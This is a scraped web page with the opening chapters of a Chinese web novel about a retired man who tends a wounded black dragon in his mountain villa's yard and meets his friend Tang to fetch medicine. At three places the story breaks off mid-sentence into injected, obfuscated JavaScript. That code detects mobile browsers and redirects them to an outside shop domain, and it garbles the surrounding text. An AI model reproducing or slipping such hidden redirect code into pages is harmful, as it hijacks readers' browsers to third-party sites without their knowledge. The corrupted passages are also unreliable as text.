《养龙使我差点身败名裂》 1. 第一天·降落 荣纪海疲惫地叹了口气,按掉还在不断发出声音的电话,缓步走到窗前,沉重地倚了上去。 自他请辞后搬到这深山里休养已有一月有余,奈何那边依然像块牛皮糖似的每天一个电话不漏,话里话外都是希望他能回去。 可还能回去干什么呢,他已经受够了。 荣纪海麻木地再次拉黑这个新号码,三十来个荣耀席位的黑名单中又添一席,认真考虑着是否该改用白名单来杜绝黑名单席位不断膨胀的情况。 他倚着窗户看了会儿自家的院子。 他对亲手侍弄园艺并不感兴趣,这栋别墅的上一任主人显然有着与他截然相反的爱好,却因为搬家事宜与一个多月的闲置,原本花团锦簇的院子现在已然乱成一团,枯萎的根系七零八落地萎缩在干涸的泥土上。地面因搬进搬出的几番摧残,脚印与泥印混杂在一起,间或夹杂着被踩得稀烂的,看不出颜色的花瓣。 是该好好清理一下了。荣纪海想。 否则这些迟早会加入他的噩梦中,跃升成为每天的骚扰电话之外第二大让他心烦的事情。 他低头看了看表,距离晚餐还有几个小时,应该足够他简单清洗一遍院子的地面。 至于花盆里枯萎的植物?暂且让它们自然腐化成为下一代的肥料吧。 虽然他并不确定那些花盆里会不会有下一代。 荣纪海撑起身子,挽起衬衫袖子,也不打算换件衣服,便下楼找了根水管开始清洗院子。 好在这院子虽然很大,但毕竟他能够注意到的范围不大,而上一任主人大概精力有限,只在大门处的区域做了些装饰,荣纪海便也顺理成章地只清理了那块区域。 一切结束时,荣纪海低头看表,满意地发现只花了两个小时左右。 变故就在他低头的这几秒之中发生。 如果一切重来……好吧,其实即便一切重来,荣纪海也毫无办法阻挡接下来这一切堪称魔幻的事情,如历史车轮那般坚定滚来。 起初荣纪海只是觉得身上阴凉不少,偏头发现是自己身上与周围落了一片阴影。 大概是云吧。他没有在意。 直到空气被搅动割裂的声音从他头顶传来。 然而没有等到他抬头查看异样的声音,那声音的主人便毫无预兆地,堪称平稳——甚至过于稳重地,降落在他面前。 庞然大物的体重与被搅动的空气毫不意外地在他刚刚清扫完的院子上扬起一片尘土,覆盖在已经干了半边的地面上,让这一切显得更加脏乱了。 荣纪海茫然地低头看着地面,又抬头——再抬头,费力地仰望那个他曾见过无数次的头颅。 巨大的一对翅膀,顶端弯曲下锋利的骨刺,即便是看上去脆弱的翅膜上也流连着坚实的奇异纹路,整个身躯几乎覆满了黑得发亮的鳞片,四只同样硕大的利爪安安稳稳地紧扣在泥地里,爪间塞满了泥土,和一些荣纪海不愿深想的深红色碎片。 荣纪海的头发被吹乱,是那颗头颅弯了下来,费力地与他的眼睛保持在同一个水平线上。 那对泛着代表了神秘力量的角在阳光下折射出刺目的光斑,再往下一点的那对金色眼瞳里,是尖利竖着的,几乎要将他吸入进去的,深渊一般的龙瞳。 “龙……?”荣纪海喃喃着,像一个普通人类突然被告知这个世界真的有魔法那样愣在原地,甚至来不及唤醒脑海中的求生本能。 理智告诉他,他应该马上拨通报警电话,或是其他什么能管到这块——谁知道哪个有关部门能管一头龙——的电话,以防他的小命葬送在这样的庞然大物口中。 但鬼使神差的,他只是愣愣地看着眼前这头安静,同样好奇地盯着他的生物,过往几乎已经被他忘却的童年往事呼啸着袭来,几乎让他看不清眼前这头真实存在的,并没有朝他发出怒吼的生物。 如果这样做的话,一切都会改变吧。荣纪海屏住呼吸,曾梦寐以求又黯然落灰的幻想此刻真切地挡住了阳光。 他想起那天亲手递交的辞职文书,想起曾被他隔绝在外的欢呼庆贺,想起他每一次精神疲惫地回到房里,打开那本古籍的日日夜夜,想起无数道看过来的,古怪又嘲笑的目光,想起有人曾对他信誓旦旦地吼: “这是不可能的!你明白吗,不!可!能!” 如果这样做的话,一切一定会有所改变。 他伸出手,摸上龙的面颊,碰到了龙坚硬冰凉的鳞片。 那头龙并没有因为他的冒犯张开血盆大口,仅仅只是冲他的脸上喷了一股灼热的鼻息,然后后退几步,像只温顺的绵羊那般伏身下来,以便荣纪海更方便地触摸它头颅上每一个角落。 荣纪海着迷似的伸出双手,几乎是要将那巨大的头颅拥进怀里,却在沉迷前因龙的姿势改变注意到了什么。 “等等,你……受伤了?” 荣纪海侧过身,查看龙的颈侧那道深而重的撕裂状伤口,那里因内部的血液凝固已久,已经由红转黑,这才让他没能第一时间发现异样。 再抬头时荣纪海又在龙摊开的翅膀背面发现了新的伤口,那里的翅膜同样有着纵横交错的撕裂伤痕,只是大概没有颈侧那样深,并没有将整片翅膜刺穿,但在那些伤口上焦黑一片的痕迹,昭示着翅膀上的伤也许不只是物理撕裂伤那么简单。 荣纪海被龙的身躯挤在头颅与房子墙壁之间,受限的活动范围让他无法查看更多。 抱着些微妙的心思,荣纪海试探地摸摸龙的鼻子,再次受了股鼻息后问道:“你需要治疗吗?也许……我可以帮你。” 龙状似疑惑地歪头,似乎不太明白眼前这个小动物叽叽喳喳地在说些什么。 果然听不懂吗…… 荣纪海早已有所预料,便费力地伸长手臂去够颈侧那道伤口,只一触边缘,龙便小小地挣动一下,吻部微微张开,露出里面交错整齐的龙牙。 龙低吼一声,似在警告。 荣纪海像是已从先前那怔愣又着迷的状态中回过神来,此刻只是淡然地一手扶住龙的下颌,毫不在意拇指已经深陷入龙牙缝隙内,一手放轻了力道,在稍稍远离伤口边缘的鳞片上来回抚动。 黑龙的眼睛眨动了一下,荣纪海不确定它是否明白了自己的意思。 下一秒,它轻轻偏头,让荣纪海的手指远离自己的尖牙,复又合上嘴,收起四肢,安稳地卧在地上,脖颈伸长又侧过去,让自己十几秒前还不让碰的伤口清晰地暴露在荣纪海面前。 “啊……”荣纪海一下有些手足无措地伸手又放下,抬头看向屋内,有些混乱地回忆家中是否有医疗箱。 不对,龙的伤口能用人类的药物治疗吗? 荣纪海迷茫地想开口问,却又想起龙压根听不懂人类语言,便只好作罢,尝试着挪动身体,想对龙表达自己要离开一会儿的动向。 只是那头黑龙已然安然地阖上龙眸,似是完全不在意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14052612|149055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 荣纪海接下来的动作。 荣纪海愣了一下,无奈地笑笑,伸手摸摸龙的鳞片权当打了招呼,便侧身返回屋内寻找医疗箱。 好在医疗箱确实有如荣纪海记忆里那样被存放在客厅电视柜下的抽屉里,荣纪海弯腰取出来时,眼角余光瞥见口袋里手机的棱角。 他直起腰,犹豫一瞬,还是空出一只手抽出手机,点开了录音软件,又好好地塞回去,这才抬脚往门外走。 好在龙依然好端端地待在原地,并没有如每次幻梦那样一转眼便消失在阳光下。 荣纪海拎着医疗箱靠近,看看黑龙紧闭的眼睛,抬手轻轻碰上伤口边缘。 这次,龙没有任何动静。 若不是它的身躯还在稳定地起伏,荣纪海几乎都要以为龙是不是已经永远沉睡下去了。 荣纪海将医疗箱放在地上,从中取出碘酒和酒精,面对着对于药品分量而言过于大的伤口犯了难。 “算了,起码得把尘土清出来……”他喃喃自语,熟练地夹了一大团棉花用药物沾湿,细致地挨上伤口,一点点将伤口边缘与内部的尘土粘起来。 发黑的陈旧血液被软化粘走,露出底下鲜红的血液。好在大概是龙的自愈能力起了作用,那些血液仅浅浅地被含在伤口中,没有要继续流下来的迹象,大概是底下的伤口已经自愈了个七七八八。 稍微处理了颈侧的伤口,荣纪海又往后走去,靠近龙收拢在身边的翅膀。 那些痕迹是……荣纪海皱皱眉,伸手虚虚地盖在那些焦黑痕迹的上方。 翅膜上的撕裂伤并没有颈侧严重,虽然翅膜上也布满了细小的血管,但显然这头龙的翅膜韧性足够强悍,甚至没有任何血迹。 但这些焦黑……不像是…… 荣纪海摇摇头,打断自己的思绪,正想收回手,目光却被翅膀上弯曲的骨刺吸引。 他顿了一下,着魔般伸手握住骨刺,奇异的是,这骨刺并非想象中冰凉,而是温热着散发什么看不见的能量。 他眨眨眼,用了点力一扯,那已有四个人类身体拼在一起那般大的半边翅膀被他扯动着往他那边一歪。 龙的头颈动了一下,荣纪海沉默地等待着。在他的预想中,龙大概会被他这过分的戏弄般的动作惹怒,进而攻击他。 但没有。 龙只是疑惑地转过脑袋,查看了一下自己的翅膀,龙瞳又聚焦在荣纪海的身上,上下打量半晌,又并不在意地转回去重新伏在地上。 荣纪海微微哑然,手无意识地握紧还未放开的骨刺,那温热的触感顺着他的手臂丝丝包裹住他早已冷透的心脏,他几乎幻觉一般感受到骨刺内部传来了龙有力的心脏跳动的搏动感,如同心脏起搏器让他的心脏也重新跳动起来。 一切一定会有所改变……吗。 荣纪海几乎是朝圣一样闭上双眼,慢慢环抱住龙的翅膀边缘,额头抵在骨刺上。 良久,他感到身侧的躯体微微颤动着,一股熟悉的灼热的鼻息喷在他的脸侧,有个大东西轻轻拱了拱他的侧腰。 荣纪海睁开眼,转头对上那双金色的龙瞳,明明从来都代表着攻击性与狩猎本性的竖瞳,此刻却浸染了温柔一般的感情。 是幻觉吗? 荣纪海露出一个真心的微笑,放下手,轻轻拍了拍龙的鼻子上方。 “谢谢你。” 龙专注地凝视着他,吻部微微上抬,轻柔地拱进荣纪海的手心。 2. 第一天·第一段录音 荣纪海给龙的翅膀简单用酒精消了毒——虽然他并不清楚龙是否真的需要消毒这项工序。 龙全程的大多数时候只是闭着眼,分不清是睡着了还是只是休憩。荣纪海没有见过龙睡着的样子,哪怕是古籍里也同样。 因此,他在一次进屋时悄悄在二楼窗台架上摄像机,镜头俯视着对准龙的位置,虽然拍不到龙的全貌,但聊胜于无。 等处理完龙的伤口,即便不用看表,荣纪海也知道大概已接近晚饭时间。 他抬头看看天色,略微昏暗下来的天光令浑身漆黑的黑龙逐渐隐入环境,若不是屋内从窗口漏出的灯光打在那些光滑的鳞片上,恐怕等天再黑一点,以人类的肉眼便再也发现不了龙的存在了。 “得定更多的药了啊……”荣纪海提起轻了不止一点的医疗箱进屋,靠坐在沙发上。 他拨通市区内朋友的电话,漫不经心地简单打了个招呼便直入正题:“你现在还在市里吗?” “在啊,怎么,退休一个月了终于良心发现要请我去你那大别墅里做客了?” “啊,”荣纪海偏头盯着医疗箱,“算是吧,作为登门礼物,你顺便——” 不对。 荣纪海突然止住话头,意识到自己犯了个常识性错误——正常人的家里是不会有一头龙在院子里欢迎客人的。 “——算了,我想了一下,这栋别墅还不到能接待客人的时候。不过作为提前的登门礼物,你帮我进购多点外用伤药,明天我进市区找你取。” “等等等等——你几秒前是打算答应的吧?什么叫‘还不到能接待客人的时候’,难道我还要等你的别墅长大直到能独自见陌生人吗?” 荣纪海为友人脱线的思维默然一瞬,“你到底想说什么。”他好心提醒到。 “啊对,我是想说,怎么突然要伤药了,受伤了?还是说他们又——” “唐。”荣纪海的声音冷了下来,警告意味地喊友人的名字。 “……好吧好吧,我不提就是了,你可真敏感……我明白了,明天你什么时候来?” “早上十点,一会儿发给你药品信息和数量,拜托你了。” 那边简直是故意地叹了好大一口气,“谁让我欠你的呢,希望你的别墅能赶快成年,我长这么大还没住过深山里的别墅呢。” 聊完了正事,荣纪海的语气略微放松下来,凝视着敞开大门外一动不动的几片龙鳞出神,“我应该有说过你的比喻很烂……你小时候住的地方比我的别墅气派多了吧。” “那不一样!拜托,深山哎,你知道山里的生态种群有多丰富吗?” 眼看着话题越走越远,荣纪海熟练地打断道:“我不知道,不过我确定如果你想的话,完全可以自己进入世界上所有山的深处——而并不需要我的同意。” 那边沉默了一会儿,语气软了下来,几乎是小心翼翼地问道:“你这一个月,是只联系过我吗?我是说,其他人——” “你知道我和绝大多数人并不对付。” “……有时我也会想,要不是我因为我那被嘲笑的好奇心选择了中立,也许你会在第一次见面时就把我拉进黑名单。” 荣纪海稍微回忆了一下,“以你的狂热程度来说,你假设得没错。” “所以,你确实没出什么事,对吧?”那边突然正色起来,“我知道你并不完全信任我,只是因为我的立场并不被你算作敌人,但作为我单方面认为的朋友,我希望你不是在做些铤而走险的自杀式行为。” 荣纪海听到门外的龙动了动,可视范围内的那几片鳞片挪动了位置,大概是龙换了个姿势。几秒后,一只龙瞳代替了鳞片嵌进门框间的虚空,一瞬不瞬地盯着荣纪海的方向。 他无意识地笑了笑,回望着龙瞳,“我没事,”起码暂时不会有事,“放心吧,至少我不会做拉上全人类陪葬的事情的。”最多也就是我自己被阴晴不定的龙吃掉。 “……虽然总觉得你在隐瞒些什么,但……好吧,你知道的,如果你依然还想做些什么,你可以随时来找我,在这方面我们的目标是一致的。” “嗯,我明白。谢谢你,唐。”荣纪海低声回应,先一步挂掉电话。 手机屏幕回到主页时,他瞄到通知栏角落里代表正在录音的图标,犹豫了一下,还是起身向门口走去。 龙瞳随着荣纪海的靠近缩小了点,大概是龙稍微远离了大门,好将荣纪海的全身纳入视野范围。 荣纪海没有出门,只是停在门口,龙又退远了些,这下整个头颅都能被看到了。 “你不打算离开吗?”荣纪海轻声问道,即便他明白龙听不懂人类语言,所以他的问题不会得到任何回答,“不离开的话,我不能保证还会做出些什么……” 龙沉静地注视着他,一人一龙就这样沉默着对视了好一会儿。 最后荣纪海首先后退一步,“好吧,不管你离不离开,如果我再不吃点东西,先离开的可能会是我。” 他正准备转身走向厨房,给自己做点足以果腹的简餐,龙却突然低鸣了两声,重新吸引了他的注意力。 龙这次的低鸣与先前伤口被触碰的吼声不同,最后一声尾音上扬,整体龙吟虽然低沉,却也比吼声音调更高更轻,倒更像是哼声了。 荣纪海从没听过这样的声音,他神色奇怪地定在原地,牢牢盯着龙的一举一动。 龙在低吟后又歪头看荣纪海,见荣纪海没有任何动作后,它直起身体,消失在门框视野里,令荣纪海不得不上前几步走出门。 龙伸长脖子左右看看,几乎没有任何挪动,抬起一只爪子伸进院子外稀疏的小树林里,不消几秒便收了回来。 得益于二楼窗台的灯光,荣纪海隐约看见龙的爪间似乎夹着什么小东西。 很快他就知道那是什么了。 龙把爪子轻轻放在荣纪海面前,可以戳破几乎所有硬质金属的利爪,此时却只被用来当做那只兔子囚笼,以一个没有伤害到兔子的力道将它困在爪间,动弹不得。 荣纪海梦游般地向前几步,看着那只还在尝试挣扎的兔子,“这是……” 看他依然没有什么动静,龙又歪歪头,喉间发出一阵“咕噜”声,下一秒,荣纪海面前的爪子便作势要收拢起来,杀死那只可怜的兔子。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14052613|149055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “等等——”荣纪海回过神来,以防龙听不懂他的话,同时迅速将手伸进爪间试图阻止龙的动作。 利爪的收拢趋势如他所愿那样停下了。 荣纪海脑内划过了无数动物报恩以及宠物给主人送猎物的案例,不可置信地抬头寻找龙的眼睛,“你、你是在,给我找食物?” 龙再次歪头。 荣纪海福至心灵,将数十秒前自己说过的每一句话在脑海中回溯一遍,最后他半信半疑地出声试探:“吃的?” 这一次,龙再次发出了那样声调奇特的低吟,龙首微微垂下,像极了人类的点头。 荣纪海条件反射地摸了摸口袋里的手机,又担心龙发现他的动作似的迅速放开。 他慢慢地触碰还被困在龙爪间的兔子,小心翼翼地将兔子抱出来。 “谢谢……?”荣纪海不确定地道谢,但显然龙听不懂这个词汇——它又歪了歪头。 荣纪海思索一阵,一手抱着兔子,腾出一只手去抚摸那只爪子上的鳞片。 龙顺着他的动作重新趴伏下来,闭上了眼。 荣纪海一手牢牢掌控着手里的兔子,不知为何兔子在他手里安静异常,像是被什么看不见的力量限制住了行动,比在龙的爪间里时还要乖上几分。 他古怪地凝视了龙一会儿,赶在龙察觉到他的异常前又抬脚进屋,虚掩上门,避开了龙的可视范围。 荣纪海环顾客厅,最后找了个纸箱子将兔子暂时存放在里面,自己则再次坐回沙发上。 毫无疑问,龙对“吃”这个字是有明确固定反应的,它听得懂人类语言中的这个字。 但为什么? 荣纪海逼迫自己尽可能地去回忆那些他并不想留存在自己脑海中的记忆,但除了一片令人作呕的血色外,毫无收获。 或者,难道这头龙曾经与人类一起生活?但若是那样,它能听懂的应该不只有这个字才对…… 还是说,只是我没能试出来其他的? 荣纪海握紧双拳,突然想起些什么,拿出手机结束录音。 他将录音文件点开,简单剪辑一下,精确保留了龙发出声音的那几段录音,点开邮箱打包发送出去。 做完这一切,荣纪海长处一口气,没有注意到自己的双手正因情绪激动微微发抖。 他向后仰倒瘫在沙发靠背上,客厅天花板的灯光直射进他眼底,他却不闪不躲,自虐一般盯着光源,像是在长久的黑暗中终于看到了一丝微弱的烛光。 一切一定会有所改变……是的,它已经发生了。 荣纪海终于抬起手臂盖住双眼,黑暗下来的视野里,他的眼皮盖住灼痛的眼球,不久便变得过于湿润,温热的液体缓解了一些灼痛干涩的眼球,又在眼底烧起一把大火,将那些曾滞留的退缩与逃避尽数烧毁。 他终于看到了未来的希望,那前所未有的清晰。 荣纪海冷静了一会儿,总算被隐隐作痛的胃唤醒自己原本的目的,起身慢慢朝厨房走去——当然不会真的去吃那只兔子。 走到一半,他突然想起: 所以那头龙……需要吃东西吗? 3. 第二天·对赌 “你的想法太天真了,这是不可能实现的。” “有这样的力量却只想着逃避现实,太让我失望了……” “听说你就是那个——啊别这样瞪着我,其实我和你一样……” “……是吗,我其实也……但是,虽然是这么想的,但果然还是没法实现吧,不然你也不会找到我了,我这种只敢在心里想想的人……” “退役?我不同意!” “你要当逃兵吗?” “你的自私,你那所谓的梦想,总有一天会让全人类为你的天真陪葬!” …… 荣纪海慢慢睁开眼,呼吸微乱,却没有任何被噩梦打搅好眠的烦乱之色,只是静静放松四肢,平躺在床上。 良久,他才将昨天的记忆在脑海里条条码好,撑起身子时看了一眼房里拉上的窗帘。 昨晚睡前,他再三思索,还是选择拉上了窗帘——不然要是第二天一觉醒来看到一只大眼睛瞪在窗户上,那也未免过于惊悚了。 荣纪海简单披了件外衣,走到窗前,右手抓紧布料时短暂地软弱了一瞬。 他微微屏住呼吸,轻轻拉开一条缝。 那头大黑龙还好好地睡在自家院子里。 他呼出一口气,全身肌肉总算彻底放松下来。 待他洗漱完毕后,时间刚好来到七点。 荣纪海下到一楼,开了点门缝往外查看,有点意外地发现龙还睡着,没有醒来的征兆。 龙会睡这么久吗……荣纪海微微皱眉,习惯性想拿出手机,手伸到一半却又停下,顿了几秒后叹了口气,收手作罢了。 一个月果然还不足以改变过往十几年的习惯啊…… 他确认东西都带齐了,便打开门往外走,路过龙横在地上的尾巴时被挡住了去路。 对了,该跟它说—— 荣纪海张张口,话却突兀卡在喉咙里。 “又忘了……你根本听不懂啊……”荣纪海垂下头,闭闭眼将汹涌而上的情绪压下去。 他摩挲着手机边缘,忍下了再次查看毫无动静的邮箱的欲望,抬脚时眨眼间便迈过有他膝盖高的粗壮龙尾。 走出院门前他最后回头看了一眼,几乎空了的医疗箱在昨晚龙睡下时便被他摆在龙的龙角旁,龙一醒来便能看见。 这是一个赌局。荣纪海转身走向车子时想。 它能明白我的意思吗?它会留下吗? 或者等他们再次相见时,会是在某个城市的废墟之上? 荣纪海打开车门坐进去,得益于自家院子还算高的院墙与龙休息时的姿态,从外看时倒是完全看不到龙的任何部位。 最起码在龙醒来前,他不会因为被发现收留传说中生物被什么保密局逮过去质问。 他启动车子,绝尘而去。 发动机的响声并不算大,但院墙内的龙依然睁开了一只眼睛。 它确实第一眼就看到了医疗箱,鼻间杂乱的气息中,属于那个人类的气息正渐渐变淡。 龙眨巴了一下金瞳,将头颅换了个方向,闭眼继续躺了下去。 —— 山里山路崎岖,虽然先前为了建那栋别墅以及诸多日常生活设施,曾经修过一条足够宽且平稳的大路,但久失维护依然让那条路淹没在了沙土之下。 当荣纪海开车下山,通过高速进入市区时,正好过了两个半小时。 他点开手机,唐已经发来了见面地点——一家速食店的室外。 荣纪海循着导航开过去,面对路边一闪而过的那套熟悉的服装欲言又止。 他停好车,走向坐在一张桌子前的友人。 “嘿!荣!好久不见啊!”友人热情地隔了段距离便大声呼喊他,本就引人注目的服饰,此时因服饰主人的举动更加显眼。 荣纪海叹了口气,加快几步靠近。 唐是来自一个濒危家族的女性,八年前不顾家族阻拦来到这边工作。人不坏,能力强,就是性格时常让人捉摸不透,哪怕与她相识六年的荣纪海都无法准确把握这位朋友的一些突如其来的“灵感”。 “怎么穿着这身衣服就来了,是……出什么事了吗?” 荣纪海在唐的对面坐下,目光在对方身上那套布料堪称坚硬的服装上游移,下意识抬头看了看天空。 唐很快笑着摆手,“没有没有,一切平静。但你不觉得这身衣服很适合外出吗?特别是我听说最近这个市里有什么雨夜杀手呢,穿这个肯定不会受伤。” 荣纪海沉默了一下,决定不去继续纠缠如果真遇到所谓的“雨夜杀手”,究竟是哪方比较危险的问题,他迅速切入主题:“药都买齐了吗?” “齐了齐了,你这需求量也太大了,我找李的时候,他还问我是不是饲养了什么大型猛兽呢。” 严格意义上来说,可能是超大型猛兽吧。 荣纪海接过唐从身后拉出来的行李箱,动作间唐犹犹豫豫地问他:“你……为什么不直接找李呢?我记得他不是也——” “他在两年前就自行退出了,不然你以为他的右臂是怎么没的?” 荣纪海语气平平地打断唐的疑问。 “什么?他的右臂是——”唐身体猛地前倾,瞪大了眼睛,许久才慢慢放松下来靠上椅背,“难怪……明明他那么弱却能说退就退,原来……” 荣纪海哽了一下,无奈地指正道:“你对他的评价,不要当着他本人的面说。” 唐解开了自己的疑惑,此时满不在乎地耸耸肩,“这有什么关系,因为他确实不在乎,我才会这么说的嘛。要我说,你就是太畏手畏脚了,明明他从来不觉得你有哪里对不起他,真要说,倒是他欠你保护费呢。” 荣纪海垂下眼睑,不欲再继续这个话题,微微倾了身子,做出要走的动势,“‘保护费’这种词不要乱用……没其他事的话我就先回去了,从这里过去要近三小时,以免我饿死在路上,有什么事就电话联系吧。” “哎!……哎呀,好吧好吧。”唐跟着荣纪海站起来,衣服上在阳光下流转着奇异色彩的流苏晃动着。但荣纪海早已不是六岁时会对这些东西感到好奇与向往的小孩子了,因此他只是目不斜视,好好地依照基本社交礼貌对上唐的眼睛。 “谢谢你,唐,帮大忙了。” 唐潇洒一挥手,“这有什么,毕竟之前我也没能帮到你,现在你有什么不方便的喊我就好,只要我能顾得上。” 她转头欲走,临了又不死心地最后问一句:“荣,你……真的放弃了吗?” 荣纪海微微一愣,瞳孔微散,停滞了一会儿。 他迎着唐那双不需要在阳光下也非常明显的琥珀色眼瞳,最终也只是笑了笑,没有回答,率先转身,挥手告别。 —— 小车沿着蜿蜒的山路往上开时,荣纪海在脑内预设了无数种可能遇到的最坏情况——龙毁了他的房子离开了,又或是火光与黑烟扬起半边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14052614|149055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天,亦或是龙满足地继续在院子里趴着,只是齿间已沾染了来路不明的血液…… 因此,当他走进院门,发现龙只是好端端地卧在地上,舔舐着自己的爪子,而那上面没有任何残留的血液迹象时,他暂时松了口气。 不过,原来龙是会舔自己爪子的吗?这么爱干净? 他半信半疑地拎着行李箱靠近龙,行李箱轮子滚在地面上的“咕碌咕碌”声吸引了龙的注意。 龙把它那头颅凑过来,荣纪海敏锐地发现那对龙角似乎比昨天更亮了,靠近时上面的纹路清晰可见,在阳光下几乎流转出火苗般的光彩。颈间的那道伤口看不太见全貌,不过似乎愈合了些。清理了尘土与氧化的血迹后,光线良好且离得足够近的话,甚至可以看到伤口里鼓动的肌肉组织——健康而充满活力。 龙自喉间发出一声熟悉的“咕噜”声时,荣纪海才想起自己没有打开录音。 但他已经大致能猜到这个声音代表了什么了。 荣纪海就地打开行李箱,虽然清楚龙可能听不懂,他依然自然地向龙介绍这一行李箱的药物:“这是你的伤口要用的药,翅膀上的伤也需要进一步处理才能彻底愈合,否则你可能会被这些伤拖累,甚至可能会死。” 他有意夸张了龙的伤势情况,清晰吐出每个字词时,他一手拿出手机打开录音,目光上抬,专注地盯着龙的反应。 直到最后一个字音发出,龙才有了动静。 这一次它似乎同时用到了鼻子出气,低沉地,甚至在荣纪海的感知中也许夹杂了一点说不清道不明的愤怒,龙从身体内部像是爆出一团火球那样吐出短短一声吼叫,在最后又连带了点喉咙肌肉收缩放松而发出的“咕噜”声。 荣纪海微微干咽一下,清了清嗓子,再次试探道:“当然,也许没有那么严重,但这段时间还是治疗一下更好,不然如果真的——死了的话——我会难过的。” 龙静静盯着荣纪海,没有发出任何声音。 就在荣纪海叹了口气,将要放弃时,龙突然凑过来,吻部在荣纪海的发顶碰了碰。 荣纪海茫然地抬头,龙却已经歪过头,开始打量箱子里的药品了。 这又是……什么意思? 荣纪海抬头看看二楼窗帘大开的窗户,那里充了一晚上电的相机正在正常运转中。 他提醒自己记得将这一段剪切下来发过去,便弯腰拾起一瓶酒精,拍拍身旁龙的下颌,“来吧,让我看看你的伤。” 龙转过头颅,正当荣纪海要上前几步靠近龙的脖颈时,左臂突然一阵刺痛。 他的左手条件反射握紧,行动几乎要比脑子更快一步做出反应,强大的理智却先行替荣纪海松开了手掌。 他忍痛转身,不出所料地发现自己的手臂正被龙卡在嘴间,尖利的龙牙已刺破了衣物,在皮肤上压出一小块凹陷。 “……怎么了?”荣纪海镇定地询问,右手干脆扔下瓶子,摸猫似的伸手抚摸龙的下颌与吻部边缘,好似相信龙只是在与他调皮玩闹。 龙很快便放开了荣纪海的手臂,像是什么都没发生那样就着这个姿势将头搁在地上,如昨天那样露出脖颈处的伤口。 荣纪海背对锐利的龙瞳,捡起地上的酒精,利落地上手开始消毒。 他没有回头,但他清楚地知道,龙始终盯着他的背影。 而他不知道的是,龙在昨晚也曾这样,久久地凝视着那扇窗帘紧闭的,自己卧室的窗户。 4. 第二天·试探 荣纪海将镊子消毒,娴熟地在龙脖颈间的伤口里查看更深处的情况。 用镊子在伤口里翻找时,荣纪海特别留意了一下龙的状态,发现对方好似根本感受不到痛楚那样,只是直勾勾地盯着自己。 明明最开始只是碰到边缘就要威胁我来着。荣纪海暗自腹诽道。 “嗯?”荣纪海的手顿了一下,镊子小心翼翼地翻开眼前的一层肌肉组织,在被撕裂的伤口的最深处,血液里似乎残留着点点荧光。 他将右手的镊子转移至左手,正想覆上去查探一二,龙鳞冰凉的触感冰得他一激灵,理智回笼决然地掐断了如同膝跳反应的动作。 荣纪海稳稳呼吸,佯装镇定地侧目去瞄龙瞳,那大大的探照灯般的眼睛依旧一瞬不瞬地,比监控摄像头还要敬业地锁定着他。 无法,他只好努力克制住好奇,从医疗箱里扒拉出一瓶膏状的药品,拍进手里便往伤口上糊。 “嗷呜~” 荣纪海一抖,几乎以为是自己幻听了,不然怎么会从龙的喉咙里听到类似犬科动物撒娇的声音? 他手上动作一停,探究地去找龙的吻部——那里紧闭着,完全没有曾张开发出奇怪嚎叫的迹象。 犹豫半晌,荣纪海选择无视那奇怪的声音。 满掌的药膏最外层的颗粒刚碰上伤口,荣纪海身侧又传来一声“嗷呜”。 这回没法坦然无视了。 荣纪海放下手,先将掌心小心远离了自己的衣服,防止习惯性动作给衣服糊了一片。 他转过身去看龙,龙的吻部依然是紧闭的,龙瞳也颇为无辜地一动不动,连瞳孔所在位置和大小都与荣纪海上一次看到时一模一样。 “怎么了?不想涂这个吗?” 荣纪海绞尽脑汁猜测龙的意图,伸出手臂将掌心摊开在龙头面前。 这回龙总算有点大动作了,它将将偏头躲过快要伸到它嘴边的手,明晃晃一副嫌弃之意。 荣纪海忍不住笑出声,“奇了怪了,这药膏先前还用来治过猫猫狗狗甚至小鸟,应该不至于引起这么大排斥反应才对啊。” 他向前几步,刻意硬是要把手心往龙头边凑。 龙似是实在受不了,突然张口想咬,尖牙的影子刚落在荣纪海的手臂上,又被那药膏迅速熏了回去,后爪一发力,直接坐了起来。 荣纪海这回追不到了,只好四处看看,把手心里的药膏在院子墙角的水管处洗了,两手摊开以示诚意:“好吧,我不用那个就是了,别躲了。” 龙瞳顺着他的动作移动着,直到荣纪海摊开干净的手心,龙才慢吞吞地重新趴下,只不过吻部在掠过荣纪海面前时,张了张嘴,露出那一口大尖牙晃了一晃。 这熟悉的感觉令荣纪海不由得又笑笑,眉眼放松下来。他毫不在意龙幼稚的恐吓方式,主动凑上去摸摸其中一颗大牙,“真像个小孩子……”跟他认知中的龙完全不一样。 龙抗拒那些药膏,荣纪海只好息了试验的念头,转而去查看翅膀。 大概几次的看伤流程还是培养了些默契,身后的龙见荣纪海放弃了自己的脖子,便熟练地挪动自己半边翅膀,减少了些荣纪海的脚程。 荣纪海一手按住骨刺,施力带动翅膀下压,不出意料地发现翅膀上那些焦黑的痕迹依然没有任何愈合迹象。 